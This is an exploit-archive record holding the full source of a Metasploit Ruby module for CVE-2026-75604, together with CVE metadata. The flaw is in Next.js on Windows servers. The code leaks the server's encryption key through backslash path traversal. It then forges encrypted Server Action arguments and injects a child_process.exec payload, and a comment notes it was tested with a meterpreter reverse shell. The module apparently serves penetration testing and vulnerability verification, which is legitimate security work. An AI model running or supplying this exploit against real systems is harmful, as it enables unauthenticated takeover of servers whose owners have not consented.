{"exploit":{"id":"MSF-windows--http--nextjs_unauth_rce_cve_2026_75604","name":"Next.js Unauthenticated RCE on Windows Servers","description":"This module exploits a Remote Code Execution (RCE) vulnerability in Next.js applications hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server. The affected versions include releases from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3, utilizing both Pages and App Routers without Cache Components.","cves":["CVE-2026-75604"],"author":"Maksim Rogov, Bogyeom Lee, Avishek Sarkar","published":"2026-08-26","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/http/nextjs_unauth_rce_cve_2026_75604.rb","path":"modules/exploits/windows/http/nextjs_unauth_rce_cve_2026_75604.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"nextjs_unauth_rce_cve_2026_75604.rb","vulnerabilities":[{"id":"CVE-2026-75604","state":"PUBLISHED","title":"Next.js: Unauthenticated Remote Code Execution on windows-hosted servers","titleSource":"CVE Program","description":"Next.js is a React framework for building full-stack web applications. From 13.4.0 until 15.5.24 and 16.3.3, Next.js applications using Pages Router or App Router without Cache Components on Windows-hosted servers do not consistently escape backslashes in route segments before constructing incremental-cache paths. In packages/next/src/shared/lib/router/utils/escape-path-delimiters.ts and packages/next/src/server/lib/incremental-cache/file-system-cache.ts, a remote request can supply encoded Windows path separators that traverse outside the intended cache root and expose private build data, including the server-reference-manifest encryption key. Disclosure of that key can enable remote code execution in the affected application. This issue is fixed in versions 15.5.24 and 16.3.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-75604","cvss":{"version":"3.1","baseScore":9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-75604"},"updatedAt":"2026-09-04T19:54:40.089Z","retrievedAt":"2026-11-25T16:13:47.078Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--http--nextjs_unauth_rce_cve_2026_75604.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--http--nextjs_unauth_rce_cve_2026_75604","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--nextjs_unauth_rce_cve_2026_75604/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--nextjs_unauth_rce_cve_2026_75604/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'openssl'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Auxiliary::Report\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Next.js Unauthenticated RCE on Windows Servers',\n        'Description' => %q{\n          This module exploits a Remote Code Execution (RCE) vulnerability in Next.js applications\n          hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server.\n\n          The affected versions include releases from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3,\n          utilizing both Pages and App Routers without Cache Components.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Maksim Rogov', # Metasploit Module\n          'Bogyeom Lee',  # Vulnerability Discovery\n          'Avishek Sarkar' # Vulnerability Discovery\n        ],\n        'References' => [\n          ['CVE', '2026-75604'],\n          ['URL', 'https://nextjs.org/blog/august-2026-security-release'],\n          ['URL', 'https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36'],\n          ['URL', 'https://sybr1d.xyz/posts/nextjs-path-traversal-rce-windows/']\n        ],\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'Next.js >=13.4 <15.5.24, >=16.0 <16.3.3 / Windows payload',\n            {\n              'Platform' => ['windows']\n              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2026-08-26',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          # Session reliability depends on the page cache expiration time\n          'Reliability' => [UNRELIABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Path to the Next.JS App', '/']),\n        OptString.new('APP_ROUTER', [true, 'Path to the page using App Router']),\n        OptString.new('PAGES_ROUTER', [true, 'Path to the page using Pages Router']),\n        OptString.new('PATH_SEGMENT', [false, 'Any dynamic path segment for App and Pages routers']),\n        OptString.new('TARGET_FIELD', [false, 'The specific form field name to inject the payload into, must match the last variable used in the closure (unset = defaults to the last field)']),\n        OptString.new('ACTION_PATH', [true, 'Path to the page containing the Server Action form'])\n      ]\n    )\n  end\n\n  def parse_build_id\n    return @cached_build_id if @cached_build_id\n\n    path_segment = datastore['PATH_SEGMENT'].presence || Faker::Lorem.word\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, datastore['APP_ROUTER'], path_segment),\n      'headers' => { 'Origin' => origin_header }\n    )\n    return nil unless res && res.code == 200\n\n    doc = res.get_html_document\n    return nil unless doc\n\n    doc.css('script').each do |script|\n      # Matches Next.js internal method calls like __next_f.push(...)\n      # and captures the argument inside the parentheses (the state chunk contents)\n      script.text.scan(/__next_f\\.push\\((.+)\\)/).each do |match|\n        json_arr = begin\n          JSON.parse(match[0])\n        rescue StandardError\n          next\n        end\n\n        # Strips the chunk ID prefix at the beginning of the string (e.g., \"1:{\"key\":\"value\"}\" -> \"{\"key\":\"value\"}\")\n        state = begin\n          JSON.parse(json_arr[1].to_s.sub(/^\\d+:/, ''))\n        rescue StandardError\n          next\n        end\n\n        if state.is_a?(Hash) && state.key?('b')\n          @cached_build_id = state['b']\n          return @cached_build_id\n        end\n      end\n    end\n\n    nil\n  end\n\n  def make_traversal(*parts, sequence: '..%5C')\n    path = normalize_uri(*parts)\n\n    # Strips the Next.js routing data prefix (/_next/data/[build_id])\n    # to keep only internal directories for path traversal construction\n    route_dirs = path.sub(%r{^/_next/data/[^/]+}, '').split('/')[1..-2] || []\n\n    depth = [route_dirs.size + 1, 1].max\n\n    # Locates the final path segment (file name or terminal directory)\n    # and replaces it with the path traversal sequence\n    path.sub(%r{/([^/]+)$}, \"/#{(sequence * depth)}\\\\1\")\n  end\n\n  def leak_manifest(build_id)\n    return @cached_manifest if @cached_manifest\n\n    # Trigger an App Router request with path traversal (..%5C) to escape the\n    # expected cache directory on Windows and force the server to generate a\n    # cache artifact (.html) on disk next to the internal manifest\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => make_traversal(target_uri.path, datastore['APP_ROUTER'], 'server-reference-manifest'),\n      'headers' => { 'Origin' => origin_header }\n    )\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => make_traversal(target_uri.path, \"/_next/data/#{build_id}\", datastore['PAGES_ROUTER'], 'server-reference-manifest.json'),\n      'headers' => { 'Origin' => origin_header }\n    )\n    return nil unless res && res.code == 200\n\n    json_doc = begin\n      res.get_json_document\n    rescue StandardError\n      nil\n    end\n    return nil unless json_doc.is_a?(Hash) && (json_doc.key?('encryptionKey') || json_doc.key?('node'))\n\n    @cached_manifest = json_doc\n  end\n\n  def parse_actions(action_path)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, action_path),\n      'headers' => { 'Origin' => origin_header }\n    )\n    fail_with(Failure::Unreachable, 'Failed to load target page for action collection') unless res && res.code == 200\n\n    actions = []\n    res.get_html_document.css('form').each do |form|\n      actions.concat(extract_actions_from_form(form))\n    end\n\n    fail_with(Msf::Module::Failure::UnexpectedReply, 'No compatible Server Actions found on the specified path') unless actions.any?\n\n    actions\n  end\n\n  def extract_form_valid_fields(form)\n    inputs = {}\n\n    form.css('input, textarea, select').each do |i|\n      name = i['name']\n      next if name.nil? || name.empty?\n      next if name.start_with?('$ACTION_')\n\n      type = (i['type'] || 'text').downcase\n      next if %w[submit button image file].include?(type)\n\n      default_val = i.name == 'textarea' ? i.text.presence : i['value']\n\n      inputs[name] = default_val.presence || Rex::Text.rand_text_alphanumeric(6..12)\n    end\n\n    inputs\n  end\n\n  def extract_actions_from_form(form)\n    valid_fields = extract_form_valid_fields(form)\n    return [] if valid_fields.empty?\n\n    target_field = form.css('input[type=\"text\"], textarea').map { |i| i['name'] }.find { |n| valid_fields.key?(n) } || valid_fields.keys.last\n\n    form_actions = []\n    form.css('input[name]').each do |input|\n      ref_key = input['name']\n      next unless ref_key&.start_with?('$ACTION_REF_')\n\n      ref = ref_key.sub('$ACTION_REF_', '')\n      desc_node = form.at(\"input[@name='$ACTION_#{ref}:0']\")\n      desc = desc_node ? desc_node['value'] : nil\n      next unless desc\n\n      action_id = begin\n        JSON.parse(desc)['id']\n      rescue StandardError\n        nil\n      end\n      next unless action_id\n\n      form_actions << { reference: ref, id: action_id, field: target_field, valid_fields: valid_fields }\n    end\n\n    form_actions\n  end\n\n  def encrypt_bound_args(action_id, encryption_key)\n    flight = \"1:{}\\n0:[\\\"$1:constructor:constructor\\\"]\\n\"\n    iv = SecureRandom.random_bytes(16)\n    plaintext = action_id.to_s + flight\n\n    key_bytes = begin Base64.strict_decode64(encryption_key.to_s)\n    rescue ArgumentError\n      fail_with(Failure::UnexpectedReply, 'Encryption key is not valid base64')\n    end\n    unless [16, 24, 32].include?(key_bytes.bytesize)\n      fail_with(Failure::UnexpectedReply, \"Unexpected encryption key length: #{key_bytes.bytesize}\")\n    end\n\n    cipher = OpenSSL::Cipher.new(\"aes-#{key_bytes.bytesize * 8}-gcm\")\n    cipher.encrypt\n    cipher.key = key_bytes\n    cipher.iv_len = 16\n    cipher.iv = iv\n    cipher.auth_data = ''\n\n    ciphertext = cipher.update(plaintext) + cipher.final\n    tag = cipher.auth_tag\n\n    Base64.strict_encode64(iv + ciphertext + tag)\n  end\n\n  def origin_header\n    full_uri('', vhost_uri: true).chomp('/')\n  end\n\n  def detect_and_report_service?\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path),\n      'headers' => { 'Origin' => origin_header }\n    })\n    return false unless res\n\n    is_nextjs = (res.headers['X-Powered-By'] =~ /Next\\.js/i) ||\n                res.body.include?('/_next/static/') ||\n                res.body.include?('__NEXT_DATA__') ||\n                res.body.include?('__next_f.push')\n    return false unless is_nextjs\n\n    @service = report_service(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: ssl ? 'https' : 'http',\n      info: 'Next.js application'\n    )\n\n    true\n  end\n\n  def check\n    return Exploit::CheckCode::Safe('Target is not running Next.js or did not respond') unless detect_and_report_service?\n\n    build_id = parse_build_id\n    return Exploit::CheckCode::Unknown('Failed to retrieve build ID. Target may not be running Next.js') unless build_id\n\n    manifest = leak_manifest(build_id)\n    return Exploit::CheckCode::Safe('Target is safe or cache path is protected (manifest could not be leaked)') unless manifest&.key?('encryptionKey')\n\n    report_vuln(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      service: @service,\n      name: name.to_s,\n      refs: references,\n      info: \"Module #{fullname} found vulnerable host\"\n    )\n    Exploit::CheckCode::Vulnerable(\"Vulnerable build ID found: #{build_id} and encryption key successfully leaked\")\n  rescue StandardError\n    Exploit::CheckCode::Unknown('An error occurred while checking the target.')\n  end\n\n  def build_post_data(reference, action_id, encrypted_args, valid_fields)\n    js_bytes = \"String.fromCharCode(#{payload.encoded.bytes.join(',')})\"\n    js_payload = \"return process.mainModule.require('child_process').exec(#{js_bytes})\"\n\n    post_data = [\n      { 'name' => \"$ACTION_REF_#{reference}\", 'data' => '' },\n      { 'name' => \"$ACTION_#{reference}:0\", 'data' => JSON.dump({ 'id' => action_id, 'bound' => '$@1' }) },\n      { 'name' => \"$ACTION_#{reference}:1\", 'data' => '[\"$@2\"]' },\n      { 'name' => \"$ACTION_#{reference}:2\", 'data' => JSON.dump(encrypted_args) }\n    ]\n\n    target_field = datastore['TARGET_FIELD']\n    payload_field_name = (target_field.present? && valid_fields.key?(target_field)) ? target_field : valid_fields.keys.last\n\n    valid_fields.each do |field_name, default_value|\n      data_value = (field_name == payload_field_name) ? js_payload : default_value\n      post_data << { 'name' => field_name, 'data' => data_value }\n    end\n\n    post_data\n  end\n\n  def send_exploit_request(reference, action_id, encrypted_args, valid_fields)\n    post_data = build_post_data(reference, action_id, encrypted_args, valid_fields)\n\n    data = Rex::MIME::Message.new\n    post_data.each do |field|\n      data.add_part(field['data'], nil, nil, \"form-data; name=\\\"#{field['name']}\\\"\")\n    end\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, datastore['ACTION_PATH']),\n      'headers' => { 'Origin' => origin_header },\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data.to_s,\n      'vars_get' => {}\n    )\n    fail_with(Failure::Unreachable, \"#{peer} - No response from target\") unless res\n\n    if res.code == 500\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Server returned 500 Internal Server Error. This usually indicates a SyntaxError (payload might have landed in the wrong place instead of the last argument in the closure. Try specifying TARGET_FIELD manually).\")\n    elsif res.code != 200\n      fail_with(Failure::UnexpectedReply, \"#{peer} - Unexpected response code: #{res.code}\")\n    end\n\n    res\n  end\n\n  def exploit\n    print_status('Fetching application Build ID...')\n    build_id = parse_build_id\n    fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not extract build ID from response') unless build_id\n    print_good(\"Successfully retrieved Build ID: #{build_id}\")\n\n    print_status('Leaking server reference manifest...')\n    manifest = leak_manifest(build_id)\n    fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to leak server reference manifest') unless manifest\n    fail_with(Msf::Module::Failure::UnexpectedReply, 'Encryption key missing in manifest') unless manifest&.key?('encryptionKey')\n    print_good(\"Successfully leaked manifest and encryption key: #{manifest['encryptionKey']}\")\n\n    print_status(\"Searching for available Server Actions at path: #{datastore['ACTION_PATH']}...\")\n    actions = parse_actions(datastore['ACTION_PATH'])\n\n    selected_action = actions.find { |act| manifest.dig('node', act[:id]) }\n    fail_with(Msf::Module::Failure::UnexpectedReply, 'Target vulnerable Server Action node not found in manifest') unless selected_action\n\n    reference = selected_action[:reference]\n    action_id = selected_action[:id]\n    valid_fields = selected_action[:valid_fields]\n    print_good(\"Selected Action ID: #{action_id} (Ref: #{reference})\")\n\n    print_status('Encrypting bound arguments payload...')\n    encrypted_args = encrypt_bound_args(action_id, manifest['encryptionKey'])\n\n    print_status('Sending exploit request to target server...')\n    send_exploit_request(reference, action_id, encrypted_args, valid_fields)\n    print_good('Received HTTP 200 OK response, awaiting payload execution...')\n  end\n\nend\n","sha256":"ef3dd6e109197345b2866b57a5f76bb85534bef8c48b354e13088f2fbc27b957","bytes":13823,"fetchedAt":"2026-11-25T16:31:00.461Z","encoding":"utf-8 (display only; download retains original bytes)"}